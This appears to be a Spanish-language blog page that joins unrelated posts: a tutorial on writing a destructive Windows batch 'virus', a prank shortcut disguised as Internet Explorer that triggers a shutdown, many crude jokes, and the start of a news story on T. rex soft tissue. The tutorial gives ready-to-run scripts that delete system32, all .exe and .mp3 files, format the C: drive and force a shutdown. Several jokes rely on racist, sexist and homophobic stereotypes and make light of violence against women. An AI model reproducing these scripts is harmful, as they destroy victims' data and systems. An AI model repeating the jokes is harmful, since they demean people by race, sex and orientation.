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Hola t! hoy les traigo un tutoria para crear un virus sin programas bueno empecemos: .fullpost { display: inline; }- Para crear un virus en un proceso .batch (.bat) de manera facil,potente y sencillo, no hace falta saber de programación, aunqueconviene. Batch es un lenguaje de MS-DOS, el sistema operativo en elque trabaja Windows. - Si explico como crear virus fácilmente, no es para que lammersse lo den a todo el mundo. Un lammer es una persona que, por ejemplo,coge un virus sencillo ya creado, se lo pasa a todos los que conoce ydisfruta con esto creyéndose un hacker. * Antes de empezar una pequeña guía de comandos y la función que realizan: @echo off - Sirve que para que nuestro virus no salga en la pantalla, es decir, para que la ventanita del ms-dos no sea mostrada. title - Tanto como en nuestro virus como en otro programa programado en"batch" sirve para poner un título a la aplicación quehayamos programado. En pocas palabras: "Poner un tituto a nuestroprograma" Del: - Comando que se usa explícitamente para borrar carpetas oficheros,mediante otros comandos se puede forzar el borrado de lacarpeta, o de cualquier otro archivo. * Comando Del: Comando: /F (Borra los archivos con solo lectura). Comando: /S (Elimina los archivos indicados). Comando: /P (Pide confirmación antes de borrar cada archivo). Comando: /Q (No pide confirmación para borrar cada archivo). Net Stop - Sirve para parar algun servicio o medio que transcurra através de nuestro sistema, así como el centro deseguridad, firewall de windows o otro medio de seguridad del equipo.Con este comando, facilita una desactivación de estos servicios,evitando ser activados automáticamente. - Pero a través de este comando, el usuario puede ver como han sido desactivados componentes de su sistema. taskkill - Este comando es usado a la hora de querer matar procesos que corren através de nuestro sistema. Cuando queremos parar un proceso denuestro sistema, este comando realiza esa función, mata unproceso específico que le hayamos ordenado, más comodo ala hora de querer meter nuestro virus y matar el antivirus, o matarcualquier otro proceso que lleve a un programa, aplicacion... start - Comando start sirve para empezar una tarea,ya sea abrir elexplorador, un programa, una hoja de cálculos (bloc de notas)paint,wordpad,word... Cualquier programa, con solo el comando "start"seguido del programa a ejecutar. Ejemplo: start cmd.exe :bucle -- goto bucle - El comando :bucle sirve para hacer un bucle como su propio nombreindica. Con este comando podemos ejecutar infinitas tareas, programas,aplicaciones, juegos... Todo esto de forma masiva, de modo que loúnico que podremos hacer, seria reinicio del ordenador. El comando goto bucle, es el que hay que poner una vez indicado la tarea a realizar. Ejemplo: :bucle start cmd.exe goto bucle - Hemos dicho a nuestro virus mediante el comando :bucle y goto bucleque habra infinitos cmd de notas masivamente, esto es un ejemplo, sepueden abrir 1000 programas más. shutdown Comando shutdown sirve para reiniciar o apagar el ordenador mediante un tiempo estimado que se le añada o otros valores. * Comandos shutdown: Comando: -s (Apaga el equipo). Comando: -r (Apagar y reiniciar el ordenador). Comando: -a (Anula el apagado del equipo). Comando: -t 21 (Pone tiempo para el apagado, donde dice 21 son los segundos que tardará en apagarse/reiniciarse. Comando: -f (Fuerza el cierre de todos los programas sin advertir al usuario) *- Empezemos: - Abrimos un documento de texto (notepad). - Para empezar a hacer nuestro primer bichito, podemos empezar por algosencillo, en nuestro documento de texto podemos escribir lo siguiente: @echo off - Una vez tecleado esto, con el comando "del" podemos indicar que carpeta o fichero borrar. Yo por ejemplo, podría poner este código: @echo off del /S /F /Q c:windowssystem32 del /S /F /Q *exe del /S /F /Q *mp3 taskkill /f /im "explorer.exe" shutdown -s -f -t 10 -c "Muestra del virus"- Otro ejemplo: @echo off format c: /y taskkill /f /im "explorer.exe" shutdown -s -f -t 10 -c "Muestra del virus"-Este es muy básico, pero potente! ya que puede metersemás código y más dañino, pero con esto, yaes asegurado un daño. Explicación: - El "@echo off" consigue que el virus se ejecute "sigilosamente", como explicamos. - El "del /S /F c:windowssystem32" Borra system32 o lo mismo "rompeel pc". La victima tendria que formatear el ordenador e instalar elSistema operativo - El "del /S /F *exe" borra todos los archivos .exe, entre los que seencuentran aplicaciones de procesos "vitales", por lo que tendráque formatear tambien. - El "del /S /F *mp3" No se carga el ordenador, pero borra todos los archivos .mp3 - El "taskkill /f /im "explorer.exe"" Cierra el proceso explorer, por lo que el ordenador se congelará. - El "shutdown -s -f -t 10 -c "Muestra del virus"" apaga el ordenador a los 10 segundos. - Ahora, una vez tengamos nuestra script de comandos montada, hay queguardar el fichero en en un batch. Para guardarlo en batch, en el blocde notas, vamos a: Archivo -> guardar como... -> ponemos elnombre -> y elegimos "todos los archivos", ahora al final de nombreque queramos ponerle le añadimos la extensión al fichero .bat. Y listo, ya está listo vuestro primer bichito probalo

Si tienes ganas de jugarle una pequeña broma a algúnamigo inexperto, en este post vamos a ver como crear un“virus” que apague su computadora, sin que pueda hacer nadapara evitarlo (las instrucciones son para Windows XP). 1. Haz click derecho en el escritorio y crea un nuevo acceso directo mediante el menu Nuevo – Acceso Directo. 2. En la ventana que aparece, tipea lo siguiente: shu*** -s -t 60 -c “Virus detectado, la computadora se apagará automáticamente”. Puedescambiar el 60 por el valor que desees, representa el tiempo en segundosque pasará antes de uqe la PC empiece a apagarse. Tambiénpuedes cambiar el texto entre comillas por el que prefieras. 3. Click en “Siguiente” y dale al acceso el nombre Internet Explorer (jejeje). 4. Tendrás un nuevo ícono en tu escritorio. Ahoravamos a hacerlo más realista. Haz click derecho sobre el nuevoícono y dale a “Propiedades”. 5. En la ventana que aparece, selecciona la pestaña“Acceso Directo” y haz click sobre “CambiarÍcono”. 6. El ícono de Internet Explorer debe estar en Archivos de Programa/Internet Explorer/ 8. Con esto debes tener un ícono en el escritorio como el de Internet Explorer listo para ejecutar el “virus”. Lo que hace este supuesto virus es simplemente apagar la computadorauna vez pasado los segundos indicados, sin que puedas hacer algo paradetenerlo, mostrando el mensaje de la imagen. Si deseas evitar que la computadora se apague, solo debes ir a Inicio – Ejecutar, escribir shu*** -a y presionar Enter. Cualquier persona inexperta en computadoras caerá fácilmente con esta inofensiva broma. aver si con esto dejo de ser novato

hola navegando por la red me tope con un test de velocidad de internet espero que les sirva aca tienen el link:http://www.testdevelocidad.es/

link: http://www.youtube.com/watch?v=5hMkQYgRMEU&feature=player_embedded recopilacion de chistes:bueno comencemos El marido llega a casa sin avisar, y la esposatiene que esconder a su amante, asi que lo mete en el armario. Una vezalli, el tio se queda de piedra cuando oye una voz a su lado que ledice: - Esta oscuro esto, eh? Y entonces se da cuenta de que es el hijo, que estaba escondido en el armario mirando mientras echaba el palo con la madre. - Callate, Jaimito... - Creo que voy a estornudar. - No, por favor... - ¿Me daras un poco de dinero? -Si, toma mil pelas, pero callate - Nota: el amante no tiene puestos lospantalones, pero se ha metido en el armario con ellos. - Oye, de verdad que tengo unas ganas enormes de estornudar. - Uy que niño, anda toma la cartera... - Vale, ya se me han pasado las ganas. Total,que Jaimito se compra una bicicleta esa misma tarde. Su madre semosquea, claro, pero como el niño no suelta prenda, le manda a que vayaa confesarse. Obviamente, Jaimito no esta demasiado acostumbrado a losconfesionarios, asi que cuando le llega su turno, lo primero que hacees decir: - Esta oscuro esto, eh? - Jaimito, no empieces otra vez. -------------------------------------------------------------------------------- - En la clase de Castellano la maestra le pregunta a Jaimito: - Jaimito, en la oración: "María está disfrutando"...Dónde está el sujeto? - Muy fácil maestra, ¡Pues encima de ella! -------------------------------------------------------------------------------- Unamigo le dice a Jaimito que los mayores siempre guardan secretosinconfesables y que por tanto es muy facil sacarles dinero simulandoque uno sabe algo. Jaimito decide hacer la prueba con su padre, se acerca mientras leia el periodico y le dice al oido: - Lo se todo... El padre se asusta y le dice rapidamente: - Bueno Jaimito... haz silencio... toma 100 dolares y no se lo digas a nadie. Contento con su maldad decide probar con la madre: - Mama, acabo de enterarme, lo se todo... Asustada la madre le dice: - Toma Jaimito 300 dolares y no se lo digas a nadie por favor. Llaman a la puerta y sale Jaimito a contestar, cuando ve al cartero le dice: - Lo se todo... Entonces el cartero, con lagrimas en los ojos abre los brazos diciendo: - Hijo mio !!! -------------------------------------------------------------------------------- Jaimito a su madre embarazada: -A los tres meses: Oye mamá, porqué tienes la barriga hinchada ? Su mamá: (sin saber como explicar lo del sexo) No te preocupes hijo, es sólo un aire que tengo atrevasado en el estómago. Jaimito aún no convencido se larga de allí. -A los seis meses: Mamá, ¿ por qué te está creciendo más la barriga ? Su mamá: por la misma razón que te dije antes hijo, son aires estomacales. Jaimito definitivamente no cree en ese cuento pero se va. -A los nueve meses: ¿Y ahora que te pasó ? Su mamá: Ya te dicho antes la razón, pero ya hoy se solucionará. Luego del parto de la madre, Jaimito entra a la nursery a conocer a su nuevo hermanito y lo ve y dice: -Hola, pedo!!!!!!!!!!! -------------------------------------------------------------------------------- La maestra pregunta a Jaimito - ¿Como mato David a Goliat? - Con una moto - ¿Como con una moto? Será con una honda - •Ahhh!Pero quería usted la marca? El profesor repartiendo las notas: - Luisito un diez. Pedrito un ocho. Juanito un seis. Jaimito un cero. - Oiga profe. Y por que a mí un cero? - Por que te has copiado el examen de Pedrito. - ¿Y Vd. como lo sabe? -Por que las cuatro primeras preguntas, están iguales, en la últimapregunta Pedrito respondió "Esa, no me la sé" y tu has puesto "Yotampoco". -------------------------------------------------------------------------------- Se encuentran Jaimito y Rominita, y ésta le comenta... ¿Viste lo que le pasó a Toimilito? No, ¿qué le pasó? ¿Percutió a alguien? Nooo, se cayó de la terraza del edificio. Uh... ¿y ahora dónde está? En el cielo. A la mierda!!!!! ¿Tanto rebotó? -------------------------------------------------------------------------------- En una escuelita rural, todos los alumnos llegan tarde a clase. El profesor Marcelo Enri les pregunta... A ver Rubencito... ¿por qué llegaste tarde? Y porque cuando venía, mi caballo se tropezó con una piedra y se cayó. Tuve que venir caminando. ¿Y vos Javiercito? Y yo venía en mi caballo y apareció una piedra y.... ¿Y vos Eduardito? Lo mismo profe. ¿Y vos Jaimito?. No me me hagas el cuento ese del caballo porque se que no tenés. No profe. A mi me trajo mi viejo en auto, pero con tantos caballos que habían tirados por el camino... -------------------------------------------------------------------------------- El papá de Jaimito le dice a su hijo... Mirá Jaimito, ya hablé con la cigüeña para que te trajera un hermanito!!! - No me jodas papá. Habiendo tantas mujeres te cogiste una cigüeña!!! -------------------------------------------------------------------------------- La maestra les dice a los alumnos... A ver, mañana me traen todos un objeto relacionado con la medicina. Al día siguiente... A ver Antonito ¿qué trajiste? Yo traje unas curitas seño. Ah, muy bien ¿quién te las dio? Mi papá. ¿Y qué te dijo? Que sirven para curar heridas y golpes. Muy bien Anto. ¿Y vos Emanuel? Yo traje aspirinas. Perfecto ¿quién te las dio? Mi mamá. ¿Y que te dijo? Que sirven para calmar los dolores de cabeza. Muy bien. ¿Y vos Jaimito que trajiste? Un pulmotor. Ah, muy bien ¿quién te lo dio? ¿Y qué te dijo? la utahhhh ehh te ariohhhh...... me ahogooooooohhhhhh!!!!!! Jaimito le dice a su mama: !Mama!, !mama!, !dame dinero para darselo a un pobre senor que paso gritando por la calle! La mama le responde: ?Y que gritaba ese senor? -!Helados! !Lleven sus helados! -------------------------------------------------------------------------------- La maestra le pregunta a Jaimito: -Si yo digo fui rica, es tiempo pasado, pero si digo soy hermosa, ?que es? -Exceso de imaginacion. -------------------------------------------------------------------------------- Jaimito a un amigo: ?Como sigue tu amigo? ?Cual? El que se trago la moneda de un peso. !Ah! Sigue sin cambio. -------------------------------------------------------------------------------- Jaimito, decime una palabra que empiece con j. Jaimito le responde: Ayer, senorita. Muy mal Jaimito, tienes una mala nota. Jaimito pregunta: ?Que ayer no era Jueves? -------------------------------------------------------------------------------- Esta Jaimito en la escuela y le pregunta la profesora: A ver Jaimito, dime una palabra que tenga 5 "i". Y Jaimito le responde: Pero profesora, eso es dificilisimo. Muy bien Jaimito, muy bien. Jaime compro unos bombones y se los comio todos en un minuto. Su hermana le amonesto: Te comiste todos los bombones sin acordarte de mi. !Claro que me acorde, por eso me los comi tan deprisa! -------------------------------------------------------------------------------- Llega un dia Pedrito a la escuela y le pregunta a Jaimito: Jaimito, ?que escribiste tu en la tarea? Y le dice Jaimito: Yo no escribi nada, ?y tu? Yo tampoco escribi nada. Y le dice Jaimito: !La profesora va a creer que nos copiamos! -------------------------------------------------------------------------------- Jaimito llega del colegio y le dice a su madre: Mama, mama, hoy hemos aprendido en el colegio que el mundo da vueltas. Por la tarde su madre lo manda a comprar, pasa 1 hora, 2 horas, tres horas, cuatro horas, y la madre viendo que no volvia se asoma por la ventana, y ve a Jaimito sentado en las escaleras de la entrada. Sale y se sienta a su lado y le pregunta: Jaimito, ?Cuando vas a ir a comprar? A lo que el nino responde: Como el mundo da vueltas estoy esperando a que pase un supermercado por aqui. -------------------------------------------------------------------------------- Estaba Jaimito portandose mal como de costumbre y la mama le dice: Jaimito, portate bien o te voy a meter al cuarto de Satan. Jaimito continuo portandose mal y la mama lo metio al cuarto de Satan. A los 5 minutos se escuchan patadas, golpes, se quiebra un vidrio... La mama de Jaimito va a ver que pasa, y en eso sale Satan llorando y dice: Senora, digale a Jaimito que me devuelva mi tenedor. -------------------------------------------------------------------------------- Jaimito le pregunta a la maestra: Maestra, ?usted me castigaria por algo que yo no hice? Claro que no, Jaimito. Ahh, pues que bueno, porque yo no hice mi tarea. Le dice la profesora a Jaimito: Jaimito, dime una palabra que tenga la "m". Y le dice Jaimito: Sarten. La profesora le pregunta: Jaimito, ?donde lleva sarten la "m"? Y le dice Jaimito: !En el mango! -------------------------------------------------------------------------------- Jaimito le dice a su padre: Papa, papa, no quiero ir al colegio. ?Por que Jaimito? Primero, tengo sueno. Segundo, me aburro. Tercero, se rien de mi. !Pues, tienes que ir! Primero, es tu obligacion Segundo, tienes 37 anos. Tercero, eres el director del colegio. -------------------------------------------------------------------------------- Jaimito llega a la casa despues de su ultimo dia de clases y le dice a su papa: Papa, ?te acuerdas que a principio de ano me dijiste que me pagarias $10.000 si pasaba el ano? El papa le responde: Si, hijito, ?por que? No me digas que... Jaimito lo interrumpe y le dice: !Si papa! !Te ahorre ese gasto! -------------------------------------------------------------------------------- Jaimito le dice a su madre: !Mama, mama, en el colegio me llaman electrico! Y en esto la madre le dice: ?Y tu que les haces? Y responde Jaimito: Yo les sigo la corriente. -------------------------------------------------------------------------------- Era un dia en la escuela de Jaimito y la profesora dice: A ver tu Pepito, dime una palabra con muchas "o", y Pepito dice: Goloso. La profesora dice: Muy bien, a ver tu Jaimito, dime una palabra con muchas "o". Y Jaimito dice: !Gooooooooooooooooooooooooooooool! Un dia Jaimito le dice a su empleada: !Abuela, abuela, abuelita! Y en ese momento su madre lo escucha y le pregunta: ?Por que le dices abuela a la empleada? Y Jaimito le responde: Es que papa le dice mamacita. -------------------------------------------------------------------------------- Un dia Jaimito le dice a su empleada: !Abuela, abuela, abuelita! Y en ese momento su madre lo escucha y le pregunta: ?Por que le dices abuela a la empleada? Y Jaimito le responde: Es que papa le dice mamacita. -------------------------------------------------------------------------------- Llega Jaimito a la escuela y la maestra le dice: !Felicitaciones Jaimito, felicitaciones! Jaimito le pregunta a la maestra: ?Maestra por que me felicita si hoy no es mi cumpleanos? La maestra le dice: Es que tu eres el primero en llegar al colegio. Ah, es que mi tio es futbolista profesional. ?Que tiene que ver eso con que tu llegues temprano a la escuela? Le pregunta la maestra. Es que el me trae a patadas. -------------------------------------------------------------------------------- Entra Jaimito llorando a la escuela, y le dice a la profesora: !Me robaron profesora, me robaron! Y la profesora le dice: ?Que te robaron Jaimito? Y el responde: !La tarea profesora! -------------------------------------------------------------------------------- Le dice la madre a Jaimito: Vamos a ir a visitar a una amiga mia que ha tenido un bebe, pero ha nacido sin orejas, asi que no digas nada. Cuando ya terminan la visita, le dice la amiga a Jaimito: Bueno, ?no tienes que decirme nada? Y Jaimito responde: Si, que Santa Lucia le conserve la vista, porque como le tengan que poner gafas se las van a tener que sujetar con chinchetas. EL SIDA TE CAGA MATANDO PERO EL CÓLERA TE MATA CAGANDO EL AMOR ES CIEGO . . . Y EL MATRIMONIO LE DEVUELVE LA VISTA SÉ DIFERENTE, AMA A TU SUEGRA. ESTE AÑO ME VOY A PROPONER VARIAS METAS: META VINO, META FIESTAS, META Y PONGA OJO POR OJO . . . OJO AL CUADRADO ERRAR ES HUMANO . . . HERRAR ES EQUINO NO TE METAS EN EL MUNDO DE LAS DROGAS . . . SOMOS MUCHOS Y HAY MUY POCA. PEZ QUE LUCHA CONTRA LA CORRIENTE . . . MUERE ELECTROCUTADO. EL QUE RÍE A LO ÚLTIMO . . . NO ENTENDIÓ EL CHISTE. SI LA MONTAÑA VIENE HACIA A TI. . . ¡¡¡CORRE! ATONTADO!!! . . . ES UN DERRUMBE!!! SILVIO RODRÍGUEZ ERA EL ÚNICO QUE TENÍA UN UNICORNIO AZUL. Y EL MUY PELOTUDO LO PERDIÓ!!! SI UNA PERSONA BLANCA CORRE . . . ES UN ATLETA SI UN NEGRO CORRE . . .ES UN LADRÓN SI LA VACA FUERA HONESTA . . .EL TORO NO TENDRÍA CUERNOS A LAS MUJERES NO HAY QUE PEGARLES . . . ES INÚTIL . . . NO ENTIENDEN !!! LAS MUJERES SON COMO EL PARACAÍDAS . . .SI NO SE ABREN . . .NO SIRVEN EL ALCOHOL MATA LENTAMENTE . . .NO IMPORTA . . .NO TENGO PRISA MÁS VALE PÁJARO EN LA MANO ... QUE MOJARSE LOS PANTALONES AYER ESTABA INDECISO ...HOY . . . NO SÉ LA PALABRA ANO... SUENA COMO EL CULO SI ESTUDIAR ES UN CAMINO ...COPIAR ES UN ATAJO ESTUDIA HASTA MORIR ... SERÁS UN CADÁVER CULTO JAMÁS PODRÉ ESTUDIAR DERECHO (JOROBADO DE NOTREDAME) A MI NO ME CAGAN DOS VECES (EL PAÑAL DESHECHABLE) EL AUTO JAMÁS REEMPLAZARÁ AL CABALLO (LA YEGUA) LEVANTARÉ A LOS CAÍDOS, Y OPRIMIRÉ A LOS GRANDES (EL SOSTÉN) MI NOVIO ES UNA BESTIA (LA BELLA) MI MADRE ES UNA RATA (MICKEY) SAQUEN UNA HOJA ... (ADAN) P2 +P2= = KK (EL GASTROENTERÓLOGO) LO IMPORTANTE ES LO DE ADENTRO (JACK EL DESTRIPADOR) ESTOY HECHA UNA VACA (UN TORO GAY) MAMÁ! …. LO SÉ TODO ... (EL PEQUEÑO LAROUSSE) MI NOVIA ES UNA PERRA (PLUTO) ¿QUE MIERDA PASA ENTRE NOSOTROS? (UNA NALGA A LA OTRA) MALDICIÓN AL QUE ME CONTAGIÓ EL SIDA (DRÁCULA) TREMENDA CUENTA! … ¿PERO QUIÉN MIERDA USA TANTO GAS? (HITLER) ESTOY EN EL MEJOR LUGAR PERO EN EL PEOR MOMENTO (TAMPAX) NUEVO REMEDIO PARA PREVENIR EL SIDA, USE ...NI-TRATO DE PONERLA EL LESBIANISMO SE PRODUCE POR UNA RARA ENZIMA ...UNA ENCIMA DE LA OTRA CREO EN LA REENCARNACIÓN (LA UÑA) SIEMPRE ME COMO LAS MEJORES MINAS (EL SACAPUNTAS) LO QUE HICIMOS NO TIENE NOMBRE ...SE LO PONDREMOS CUANDO NAZCA DE LA ÚNICA FORMA QUE SOY ÚTIL ES EN 4 PATAS (LA MESA) NO AL PARO. (UN CARDIACO) SOY IMBATIBLE. (EL HUEVO DURO) SEAMOS CLAROS. (UN ALBINO) AYER CORTÉ CON MI NOVIA. (JACK EL DESTRIPADOR) ME ENFERMA LA GENTE QUE NO DA LA CARA. (ANÓNIMO) QUE HERMOSA ES LA HUMANIDAD. (UN CANÍBAL). ¡DEJEN DE SACARME EL CUERO! (UNA VACA). MI AMOR, NO PUEDO VIVIR SIN VOZ. (PAVAROTTI). ESTOY LLENO DE PROBLEMAS. (UN LIBRO DE MATEMÁTICAS). CUANDO LEÍ LOS PROBLEMAS QUE CAUSA EL BEBER, DEJE DE LEER. MI ESPOSA TIENE UN BUEN FÍSICO. (ALBERT EINSTEIN) NO A LOS GOLPES, SÍ A LOS PORRAZOS. (BOB MARLEY) CONVENCER A LA REINA ME COSTÓ UN HUEVO. (CRISTÓBAL COLÓN) EL COCHE NUNCA REEMPLAZARÁ AL CABALLO. (LA YEGUA) LA PEREZA ES LA MADRE DE TODOS LOS VICIOS, Y COMO A LA MADRE HAY QUE RESPETARLA. EL DINERO NO HACE LA FELICIDAD... LA COMPRA HECHA! NO SOY UN COMPLETO INÚTIL... POR LO MENOS SIRVO DE MAL EJEMPLO. NO VEO LA HORA DE IRME. (UN CIEGO) LO IMPORTANTE NO ES SABER, SINO TENER EL TELÉFONO DEL QUE SABE YO NO SUFRO DE LOCURA... LA DISFRUTO A CADA MINUTO ME HICIERON MIERDA. (LA COMIDA) ES BUENO DEJAR EL TRAGO, LO MALO ES NO ACORDARSE DÓNDE UNA MUJER ME ARRASTRÓ A LA BEBIDA... Y NUNCA TUVE LA CORTESÍA DE DARLE LAS GRACIAS HAY DOS PALABRAS QUE TE ABRIRÁN MUCHAS PUERTAS: TIRE Y EMPUJE SI TU NOVIA JODE TU ESTUDIO, DEJÁ EL ESTUDIO Y JODÉ A TU NOVIA VI LUZ Y SUBÍ. (EL MEDIDOR) LA INTELIGENCIA ME PERSIGUE, PERO YO SOY MÁS RÁPIDO LA VERDAD ABSOLUTA NO EXISTE Y ESTO ES ABSOLUTAMENTE CIERTO HAY UN MUNDO MEJOR, PERO ES CARÍSIMO NINGÚN TONTO SE QUEJA DE SERLO. NO LES DEBE IR TAN MAL¡ ERES LA ÚNICA MUJER DE MI VIDA!. (ADÁN) LA CONFUSIÓN ESTÁ CLARÍSIMA ESTÁ CLARÍSIMA. LO TRISTE NO ES IR AL CEMENTERIO, SINO QUEDARSE TAN MALO ES EL TRABAJO, QUE HASTA PAGAN POR HACERLO VAYAMOS AL GRANO. (UN DERMATÓLOGO) ¡ABAJO LAS DROGAS! (LOS DEL SÓTANO) VAYAMOS POR PARTES. (JACK EL DESTRIPADOR) NO A LA DONACIÓN DE ÓRGANOS. (YAMAHA) YO EMPECÉ COMIENDOME LAS UÑAS. (LA VENUS DE MILO) SIEMPRE QUISE SER EL PRIMERO. (JUAN PABLO II) HEMOS BATIDO AL ENEMIGO. (MOULINEX) LA LECHE ENGORDA. (UNA EMBARAZADA) ¡NO MÁS DERRAMAMIENTO DE SANGRE! (TAMPAX) QUE NADIE SE ATREVA A TOCAR A MI VIEJA. (EDIPO) LO MÍO NO ES COMPLEJO... ES CALENTURA. (EDIPO) TENGO COMPLEJO DE FREUD. (EDIPO) YO TENGO UN PASADO MUY NEGRO. (MICHAEL JACKSON) TODAS AL CUARTO DE MAQUINAS, Y MAQUINAS DURMIÓ EN EL PASILLO NO SE LO TOMEN A PECHO, Y PECHO QUEDO EN EL FONDO DEL VASO DEN VUELTAS A ESTRIBOR, Y ESTRIBOR QUEDO PATAS PARA ARRIBA aqui les dejo estos chistes..estan buenisimos.. Maracucho en el avión Unmormón tiene su asiento junto a un Maracucho en un vuelo. Cuando elavión ha despegado empiezan a repartir bebidas a los pasajeros. El maracucho pide un ron con coca-cola. La azafata le pregunta al mormón si quiere beber algo. Contesta el mormón con mal tono: Prefiero ser raptado y violado salvajemente por una docena de putas antes que una gota de alcohol toque mis labios. El maracucho le devuelve el ron con coca-cola a la azafata y dice: Yo también…Vergacion! No sabía que se podía elegir… Un gallego le dice a otro: Oye Manolo pásame otro shampoo. - Pero si ahí en el baño hay uno. - Si hombre, pero este es para cabello seco y yo ya me lo he mojado. Alcruzar por delante de una vidiriera, un gallego se ve reflejado en elcristal, lo que provoca que se pase todo el día pensando: "¿De qué conozco yo a ese tío que estaba en la vidriera? ¿Dónde lohe visto?" Por la noche, ya acostado sigue dándole vueltas en la cabeza y al fin cae en cuenta: "¡Coño, ya lo sé! ¡Es él que se corta el pelo delante de mí en la peluquería!" A un gallego le dijeron que su mujer lo engañaba con su mejor amigo... Entonces mato al perro. ¿Qué hace un gallego vestido de vampiro conduciendo un tractor? Porque le dijeron que sembrara el pánico. ¿Por qué un gallego se abanica con un serrucho? Porque le dijeron que el aire de la sierra es más sano. ¿Qué hace un gallego corriendo alrededor de la universidad? Una carrera universitaria. ¿Por qué a los gallegos no les gusta subirse al piso de arriba de los ómnibus de dos pisos? Porque el piso de arriba no tiene chofer. ************ ********* ********* - Oye, Manuel... ¿A ti te gusta el Plácido Domingo? - Pues claro, hombre... antes que el reputísimo lunes.... ************ ********* ********* Entra a un bar un gallego con un loro y el cantinero le pregunta: - ¿Habla el animal? Y el loro responde: - ¡¡Y yo qué sé!! ************ ********* ********* Un gallego limpia los vidrios de un edificio, llega a un espejo y dice: - Coño... limpias tú o limpio yo... ************ ********* ********* - Oye, Manolo, ¿quieres ser Testigo de Jehová? - ¡Pero Yo ni siquiera vi el accidente! ************ ********* ********* A un gallego lo detiene la policía y le dice: - Déme su nombre y apellido. - ¿Está loco? ¿Y yo después cómo me llamo??? ************ ********* ********* - Oye, Paco, ¿sábes cómo se llaman los habitantes de San Francisco ? - Hombre, pues no todos... ************ ********* ********* Suena el teléfono en la casa de Manolo: - Manolo, que te estoy llamando por la cortadora de césped... - Caramba, pero qué bien se te escucha! ************ ********* ********* - ¿Me da un desodorante, por favor? - ¿De bola? - No, hombre, de axila... ************ ********* ********* La rubia pasa un semáforo en rojo y la detiene un policía gallego: - Ay, lo siento, oficial, es que soy daltónica.... - Ah, ¿pero usted cree que soy tonto? ¿Me quiere hacer creer que no hay semáforos en Daltonia? ************ ********* ********* - Oye, ¿por qué caminas con las piernas abiertas? - Porque tengo el colesterol muy alto. - Bueno, ¿y qué tiene que ver el colesterol con caminar de esa forma, hombre? - Es que el médico me dijo: 'Los huevos... ni tocarlos'!!! Dos peligrosos hampones llegan a un puebloy entran en una pocilga arrastrando a un tipo. Ahí adentro está unnegro de 1,90m y 120 kg , a lo Mike Tyson, limpiándose las uñas. Dos peligrosos hampones llegan a un pueblo y entran en una pocilga arrastrando a un tipo. Ahí adentro está un negro de 1,90m y 120 kg , a lo Mike Tyson, limpiándose las uñas. - "Negro, el jefe pidió que le rompas el culo a este huevón, para que aprenda a no hacerse el macho con nuestra banda." Negro: "Déjenlo ahí en un rincón, que más tarde me encargo de él." Cuando los malandros se van, el tipo dice: - "Por favor, Señor Negro, no me haga éso, después de culeado mi vida se termina, tenga piedad de mi, por el amor de Dios!!" Negro: "¡Callate la boca y quedate quietito ahí!" Al rato vuelven los bandidos con otro individuo. -"Negro, el jefe pidió que a este le cortes las dos manos y le perforeslos ojos, para que aprenda a no tocar la guita de la venta de drogas." Negro: "Dejalo ahí que dentro de un rato me encargo." Una hora después traen otro pobrecito. - "Negro, a este le cortás el pito y la lengua para que nunca más se meta con las mujeres de la zona." Negro: "Tá güeno, dejalo ahí en el rincón con los otros." Finalmente, traen a otro. - "Negro, a este lo cortás en pedacitos y mandas cada pedacito para su familia.' En ese momento, el primer tipo le dice al Negro, en voz bien baja:...... - "Señor Negro, por favor no se confunda: ¡¡ Yo soy el del culo !! Moraleja: A medida que conocés los problemas de los demás, te das cuenta que el tuyo no es tan grave !!! xD ... Saludos... LA HISTORIA DE UN FEO: Voy a contarles mi historia, no es una historia de amor nitiene un final feliz, pero es la única que tengo por haber nacido así,feo, muy feo. Cuando nací, el doctor fue a la sala de espera y le dijo a mi padre, "hicimos lo que pudimos, pero salió". Mi mamá no sabía si quedarse conmigo o con la placenta. Como era prematuro me metieron en una incubadora, con vidrios polarizados. Mimadre nunca me dio el pecho porque decía que sólo me quería como amigo.Así que en vez de darme el pecho, me daba la espalda. Es por eso que debo haber quedado petiso, tan petiso que en lugar de ser enano, soy profundo. De chico iba por los cuarteles para que me gritaran: ¡Alto! ¡Alto! Yo siempre fui muy peludo. A mi madre siempre le preguntaban: Señora, a su hijo, ¿Lo parió o lo tejió? Mi padre llevaba en su cartera la foto del niño que ya venía en la cartera cuando la compró. Unavez me perdí, le pregunté al policía si creía que íbamos a encontrar amis padres y me contesto: No lo sé, hay un montón de lugares donde sepudieron haber escondido. Y para colmo era muy flaco, tan flaco que un día metí los dedos en el enchufe y la electricidad erró la patada. Era realmente flaco, para hacer sombra tenía que pasar dos veces por el mismo lugar. Pero mi problema no era ser tan flaco sino ser FEO. Mis padres tenían que atarme un trozo de carne al cuello para que el perro jugara conmigo. Sí amigos, yo soy FEO, tan FEO que una vez me atropelló un auto y quedé mejor. Cuandome secuestraron, los secuestradores mandaron un dedo mío a mis padrespara pedir recompensa. Mi padre les contestó que quería más pruebas. Yocreo que no pagaron el rescate porque en casa éramos muy pobres, peroeso sí, a pesar de nuestra situación económica, somos muy honrados. Mi padre era tan honrado que un día encontró trabajo, y lo devolvió. Por eso tuve que trabajar desde chico. Trabajé en una tienda de animales y la gente no paraba de preguntarme cuánto costaba yo. Un día llamó una chica a mi casa diciéndome, "Ven a mi casa que no hay nadie", cuando llegué no había nadie. A mi mujer le gusta mucho hablar conmigo después del sexo. El otro día me llamó a casa desde un motel. Elpsiquiatra me dijo un día que yo estaba loco. Yo le dije que queríaescuchar una segunda opinión. De acuerdo, además de loco es usted muyfeo, me dijo. Una vez cuando me iba a suicidar tirándome desdela azotea de un edificio de 50 pisos, mandaron a un cura a darme unaspalabras de aliento. Sus palabras fueron: ¡En sus marcas, listos! El último deseo de mi padre antes de morir era que me sentara en sus piernas. Lo habían condenado a la silla eléctrica. sabes como funcionan algunos aparatos:

Paleontólogos de EE.UU. hallaron -por primera vez- tejido blando en el hueso de un Tiranosaurio Rex, especie que se extinguió hace 70 millones de años. La noticia reavivó la idea de clonar un ejemplar extrayéndole su ADN, posibilidad que por ahora sólo es posible en la ciencia ficción. La Nación conversó con sus descubridores sobre este hallazgo, que abre la más fascinante ventana para conocer sobre la evolución y biología de estos gigantes extintos. Michael Crichton lo imaginó hace 15 años, cuando en 1990 lanzó al mercado Jurassic Park, novela que relata las aventuras de un excéntrico millonario que logra clonar dinosaurios -gracias a muestras de ADN encontradas en fósiles- para dar vida al más fascinante parque temático del globo. Esa fantástica historia, llevada tres años después al cine por Steven Spielberg, resucitó como un espectro la semana pasada, luego que la doctora Mary Higby Schweitzer y un grupo de paleontólogos del Museo de las Ciencias Naturales de Montana, EE.UU. 